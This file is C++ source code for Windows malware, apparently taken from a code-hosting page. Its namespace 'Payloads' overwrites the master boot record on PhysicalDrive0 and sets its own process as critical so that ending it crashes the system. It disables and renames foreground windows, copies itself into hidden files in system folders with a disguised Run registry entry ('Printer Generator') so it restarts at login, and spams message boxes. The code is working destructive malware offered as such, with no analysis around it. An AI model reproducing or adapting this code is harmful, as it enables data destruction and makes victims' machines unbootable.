File size: 3,014 Bytes
94f6f0e | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 | #pragma comment(lib, "ADVAPI32")
#pragma comment(lib, "USER32")
/** DESTRUCTION HEADER **/
#include "FUNCTION.h"
#include "BUFFER.h"
/* WARNING:
RECYCLED CODE FROM DINGALING.EXE */
typedef void(_stdcall* RTLPROCESSCRITICAL) (IN BYTE NewValue, OUT PBYTE OldValue, IN BYTE IsWinlogon);
WINBOOL EnablePrivs(LPCWSTR lpprivs) {
HANDLE htk;
LUID luid;
TOKEN_PRIVILEGES token;
RtlZeroMemory(&token, sizeof(token));
if (!OpenProcessToken(GetCurrentProcess(), (TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY), &htk)) return false;
if (!LookupPrivilegeValueW(NULL, lpprivs, &luid)) {
CloseHandle(htk);
return false;
}
token.PrivilegeCount = 1;
token.Privileges[0].Luid = luid;
token.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL bret = AdjustTokenPrivileges(htk, false, &token, sizeof(token), NULL, NULL);
CloseHandle(htk);
return bret;
}
namespace Payloads {
VOID OverwriteBoot(VOID) {
DWORD i;
HANDLE hFile = CreateFileW(L"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
BOOL statement = WriteFile(hFile, cbRawData, 32768, &i, NULL);
if (!statement) {
MessageBoxW(NULL, L"An error occurred while overwriting the MBR.\n\nThe MBR could not be overwritten.\nThis is because of active sandboxes running, like Sandboxie Plus.\nRun it unsandboxed, and then continue.",
L"Error",
MB_ICONERROR);
CloseHandle(hFile);
exit(0);
}
CloseHandle(hFile);
}
WINBOOL SetCurrentCriticalProcess(VOID) {
HANDLE hlib;
RTLPROCESSCRITICAL SetCritiProcess;
hlib = LoadLibraryW(L"ntdll.dll");
if (hlib != NULL) {
EnablePrivs(L"SeDebugPrivilege");
SetCritiProcess = (RTLPROCESSCRITICAL)GetProcAddress((HMODULE)hlib, "RtlSetProcessIsCritical");
if (!SetCritiProcess) return 0;
SetCritiProcess(1, 0, 0);
return 1;
}
else return 0;
}
DWORD WINAPI HookAndRenameWindows(LPVOID lpVoid) {
while (TRUE) {
HWND hwnd = GetForegroundWindow(); // All active windows
HMENU hMenu = GetSystemMenu(hwnd, FALSE);
EnableMenuItem(hMenu, SC_CLOSE, MF_BYCOMMAND | MF_GRAYED | MF_DISABLED);
SetWindowLongW(hwnd, GWL_STYLE, GetWindowLongW(hwnd, GWL_STYLE) &~ WS_MAXIMIZEBOX); // NAND
SetWindowLongW(hwnd, GWL_STYLE, GetWindowLongW(hwnd, GWL_STYLE) &~ WS_MINIMIZEBOX);
SetWindowTextW(hwnd, L"NULL");
Sleep(5);
}
}
VOID CopyMalwareToSystem(VOID) {
LPCWSTR lpcwDirectories[] = {
L"C:\\WINDOWS\\0x01.exe",
L"C:\\WINDOWS\\System32\\decompile.exe",
L"C:\\NULL.ini"
};
for (INT i = 0; i < 3; i++) {
System::ExtCopyFile(GetDirOEM(), lpcwDirectories[i], FILE_ATTRIBUTE_HIDDEN);
System::RegistryW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", L"Printer Generator", REG_SZ, 0, lpcwDirectories[0], TRUE);
}
}
INT j;
VOID pMessageSpam(VOID) {
j++;
if (j < 25) {
CreateThread(NULL, 0, &System::Message, NULL, 0, 0);
Sleep(100);
}
}
}
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